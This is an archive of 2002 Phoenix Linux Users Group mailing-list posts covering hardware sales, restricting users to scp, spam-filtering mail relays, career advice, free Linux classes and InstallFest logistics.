> > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 18:42:50 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <000d01c217fb$cab0a6c0$2f7c0d82@peyote> we have 2 plus a 1 1gig, what are you looking to pay for one? slr ----- Original Message ----- From: "Mike" To: "PLUG" Sent: Wednesday, June 19, 2002 5:44 PM Subject: jaz drive > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:48:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 18:48:09 -0700 (PDT) Subject: Limiting a user to scp and not ssh Message-ID: I'm trying to configure a box so people can scp files to it, but can't actually ssh in. I created a script named scpsh with this in it: #!/bin/sh # exec /usr/bin/scp -t $HOME Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. So now users can use scp to copy files over just fine, but when they try to ssh, it sits there until they hit a key, at which point they get: scp: protocol error: unexpected Connection to 1.2.3.4 closed. Is this the best way to handle this? Is there a better way that anyone knows of? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:57:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Wed, 19 Jun 2002 18:57:20 -0700 Subject: Fw: Computer Purchasing Guidelines References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <3D113680.56F33DCA@cox.net> No more so than necessary, I'm hoping ;-) On a more serious note, the debarment procedure actually sounds like an administrative process, and if it is like most, the involved parties would not have recourse to the courts until administrative remedies were exhausted. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:14:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 19:14:26 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> <000d01c217fb$cab0a6c0$2f7c0d82@peyote> Message-ID: <001f01c21800$33d1a880$2f7c0d82@peyote> oops sorry! email me off list. slr ----- Original Message ----- From: "slr" To: Sent: Wednesday, June 19, 2002 6:42 PM Subject: Re: jaz drive > we have 2 plus a 1 1gig, what are you looking to pay for one? > > slr > > > ----- Original Message ----- > From: "Mike" > To: "PLUG" > Sent: Wednesday, June 19, 2002 5:44 PM > Subject: jaz drive > > > > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > > I'm in the market. > > > > v/r > > mike > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:21:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 19 Jun 2002 19:21:50 -0700 (PDT) Subject: Help getting experience In-Reply-To: <001f01c21800$33d1a880$2f7c0d82@peyote> Message-ID: <20020620022150.84987.qmail@web13903.mail.yahoo.com> I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 23:35:54 -0400 Subject: Limiting a user to scp and not ssh References: Message-ID: <3D114D9A.C04B1D0B@georgetoft.com> KLUDGE: I noticed that during the scp operation, with bash as the shell, a new shell is not spawned. If a user ssh's into the box, a new shell is spawned. Put "exit" in ~/.bash_profile - as soon as they log in, they log out. Hopefully, there is a better solution, but this one works. Let us know how you proceed. George Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 04:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 21:03:16 -0700 (MST) Subject: Help getting experience In-Reply-To: <20020620022150.84987.qmail@web13903.mail.yahoo.com> Message-ID: Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. You're at one of the best places to get experience. Check student jobs. You can almost definitely get a job working graveyards in the computing commons, e.g. they can't seem to ever get enough warm bodies. After working there a sememster you'll be in the system and have a much better chance at jobs in other depts. You've got two years left, so plenty of time to get campus jobs that'll give you decent experience. Go to the UNUG meeting tomorrow morning. Topic: How to install and configure OpenBSD for use as a firewall. Presenter: Mark Peoples Where: CPCOM 120 (Computing Commons Auditorium) When: 9:00 - 11:00AM on Thursday June, 20th > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. If you're willing to work for 'free' work on Free Software. In what area are you wanting to work? Pick a project that looks interesting, get on the mailing list, go through the code, start asking questions and finally send in code. Also look at groups like USENIX and IEEE. They have student programs. Learn a topic well and give presentations at local groups, e.g. the LUGs. ciao, der.hans -- # https://www.LuftHans.com/ # Freedom isn't everything, but without freedom you have nothing. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 20:58:39 -0700 (PDT) Subject: Ahem... Upgrade Apache on PLUG webservers, please. Message-ID: Apache/1.3.12 Server at plug.phoenix.az.us Port 80 Apache/1.3.22 Ben-SSL/1.44 Server at www.plugpresents.com Port 80 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:03:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 22:03:24 -0700 (MST) Subject: intro classes - planning Message-ID: moin, moin, the classes don't start for more than 2 months, so we have some time. Specifically, I don't want to distract from the InstallFest on Sat. OTOH, we want to be mentioning them at the InstallFest :). It's been pointed out that I forgot to mention that the classes will not cost anything. After we've finished a post-mortem on the InstallFest we need to concentrate on building a press release for the classes. We need to get that out a couple of months before the classes start in order to catch a few publications in time. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:02:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Wed, 19 Jun 2002 23:02:44 -0400 Subject: jaz drive In-Reply-To: <20020619194447.A7194@lilly.csoft.net> References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <200206200552.g5K5qlMg029580@mail.infinet-is.com> On Wednesday 19 June 2002 08:44 pm, you wrote: > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike Mike, I have one in the original box. Was a gift to my son, who then gave it to me. Hardly used. I comes with one disk. New disks cost about $110.00, which is why I went to a CD-RW. Bob Eaton From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 06:16:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 19 Jun 2002 23:16:59 -0700 Subject: Apple has some big brass ones! Message-ID: <20020619231659.06f25209.snoogans@qwest.net> i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) /@ /@ \ \ \ \ ___> \ ___> \ (__O) \ (__O) \ (____@) \ (____@) \ (____@) \ (____@) \ (__o)_ \ (__o)_ \ \ \ \ \ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 08:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) Subject: SMTP mail relay server for SPAM filtering Message-ID: My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 09:09:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 02:09:16 -0700 (PDT) Subject: intro classes - planning In-Reply-To: Message-ID: <20020620090916.21656.qmail@web13404.mail.yahoo.com> --- "der.hans" wrote: > moin, moin, > > the classes don't start for more than 2 months, so > we have some time. > Specifically, I don't want to distract from the > InstallFest on Sat. > > OTOH, we want to be mentioning them at the > InstallFest :). > > It's been pointed out that I forgot to mention that > the classes will not > cost anything. > > After we've finished a post-mortem on the > InstallFest we need to concentrate > on building a press release for the classes. We need > to get that out a > couple of months before the classes start in order > to catch a few > publications in time. > > ciao, > > der.hans Hey all, The Linux classes are great and I'm really looking forward to them (attending/helping in any way I can). I'm also curious though on wether there will be any classes geared toward the *BSDs? I installed FreeBSD 4.6 a little while ago and I can't say enough about it. I've been using it as my main OS and have found that I can use the same apps as I would be able to in Linux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 11:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 07:36:14 -0400 Subject: Apple has some big brass ones! References: <20020619231659.06f25209.snoogans@qwest.net> Message-ID: <3D11BE2E.75A671C3@georgetoft.com> I though Microsoft was a majority shareholder of Apple Computer. Am I mistaken? George robert jorgenson wrote: > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > /@ /@ > \ \ \ \ > ___> \ ___> \ > (__O) \ (__O) \ > (____@) \ (____@) \ > (____@) \ (____@) \ > (__o)_ \ (__o)_ \ > \ \ \ \ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:02:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:02:55 -0700 Subject: Apple has some big brass ones! In-Reply-To: <3D11BE2E.75A671C3@georgetoft.com> References: <20020619231659.06f25209.snoogans@qwest.net> <3D11BE2E.75A671C3@georgetoft.com> Message-ID: <1024574575.29497.6.camel@barney.azapple.com> yes, you are mistaken. They never were. Craig On Thu, 2002-06-20 at 04:36, George Toft wrote: > I though Microsoft was a majority shareholder of Apple Computer. Am I > mistaken? > > George > > > robert jorgenson wrote: > > > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > > > /@ /@ > > \ \ \ \ > > ___> \ ___> \ > > (__O) \ (__O) \ > > (____@) \ (____@) \ > > (____@) \ (____@) \ > > (__o)_ \ (__o)_ \ > > \ \ \ \ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:01:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:01:38 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: References: Message-ID: <1024574498.29714.4.camel@barney.azapple.com> On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the exchange server. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 14:25:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 09:25:08 -0500 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <1024574498.29714.4.camel@barney.azapple.com>; from craigwhite@azapple.com on Thu, Jun 20, 2002 at 05:01:38AM -0700 References: <1024574498.29714.4.camel@barney.azapple.com> Message-ID: <20020620092508.B6920@lilly.csoft.net> I agree with Craig. I'd also throw in some Qmail and Debian specs as well :-) On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the exchange server. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:09:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:09:05 -0700 (MST) Subject: intro classes - planning In-Reply-To: <20020620090916.21656.qmail@web13404.mail.yahoo.com> Message-ID: Am 20. Jun, 2002 schwätzte bob smith so: > The Linux classes are great and I'm really looking > forward to them (attending/helping in any way I can). > I'm also curious though on wether there will be any > classes geared toward the *BSDs? I installed FreeBSD > 4.6 a little while ago and I can't say enough about > it. I've been using it as my main OS and have found > that I can use the same apps as I would be able to in > Linux. We currently have no plans to cover *BSD. There will be some bleedover, e.g. Open Office works on *BSD. Don't know if Gnome or KDE do or are default. We're planning for the intro classes to be at that level. For sys_adm topics, we will probably only explain what they are, e.g. MUA vs. MTA, but not actually cover setting up an MTA. The normal PLUG meetings are fine for *BSD topics, but we need people to come forward with presentations. ciao, der.hans -- # https://www.LuftHans.com/ # If you're not learning, you're not living. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:13:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:13:18 -0700 (MST) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <20020620092508.B6920@lilly.csoft.net> Message-ID: Am 20. Jun, 2002 schwätzte Mike so: > I agree with Craig. I'd also throw in some > Qmail and Debian specs as well :-) We will specifically not be covering qmail as we won't be covering setting up MTAs. That's not an intro topic. We haven't written the material, but I'm hoping that the classes will turn out to be dist independent ( well slackware's Berkeley-style init scripts will be ignored ). What dist-dependent stuff we have to cover will probably cover 3 or 4 major dists. Debian, of course, is *the* major dist ;-). ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:11:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 09:11:11 -0700 Subject: SMTP mail relay server for SPAM filtering References: <1024574498.29714.4.camel@barney.azapple.com> <20020620092508.B6920@lilly.csoft.net> Message-ID: <3D11FE9F.46E04903@leml.asu.edu> Mike wrote: > > On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: > On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > > My company, like many, I'm sure, is wrestling with spam email. > > Currently we're handling it manually, creating blocks on our > > Exchange server based on IP addresses. We are not being given > > any budget to solve this problem, but we do have a few spare > > servers sitting around. I'm thinking this may be an opportunity > > to show the MS-based IT Dept what can be done with some Open > > Source software. I'd like suggestions on how to set up an SMTP > > mail relay box and anti-spam software. I have a year or so > > experience with a few Linux distros on my desktop and laptop at > > home, so I'm no wizard, but I can usually find my way around. > > Is this doable? We average around 6-700 SMTP emails per hour > > during the day, and spike to maybe 1500 on occasion. I want to > > set the box up inside the DMZ, in front of the Exchange server, > > and just have it relay to and from that box. What distro? What > > software? How to config? Any HOWTOs on this or other resources? > > Thanks much! > ---- > spam assassin > > > > use whatever distro. > > I would have this box the primary mx for incoming mail. Check it with > spam assassin and then forward it to the exchange server. also need to decide up front how you will deal with spam... Can you actually just throw it away? Many places send it on anyway but have it taged so the end user can decide. Another possibility is to dump it in a waiting pen and have someone delete it once. Other legal messages can be forwarded on... EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:26:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Thu, 20 Jun 2002 09:26:41 -0700 Subject: Map to SCC for the Installfest Message-ID: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:37:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:37:45 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> We are using MimeDefang very successfully. -------------------original message------------------------- Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) From: Scott Henderson To: plug-discuss@lists.plug.phoenix.az.us Subject: SMTP mail relay server for SPAM filtering Reply-To: plug-discuss@lists.plug.phoenix.az.us My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:41:11 -0700 Subject: Help getting experience Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> I'm a little concerned that someone who wants to be a Software Engineer would say "even programming would work." If you're looking at programming as a last resort type thing, than I doubt software engineer is what you really want to be. That attitude probably comes across in interviews too. One place to look for jobs is on geekjobs.org Get on their email list. Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 09:41:07 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024591268.12366.33.camel@wwarner> Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander 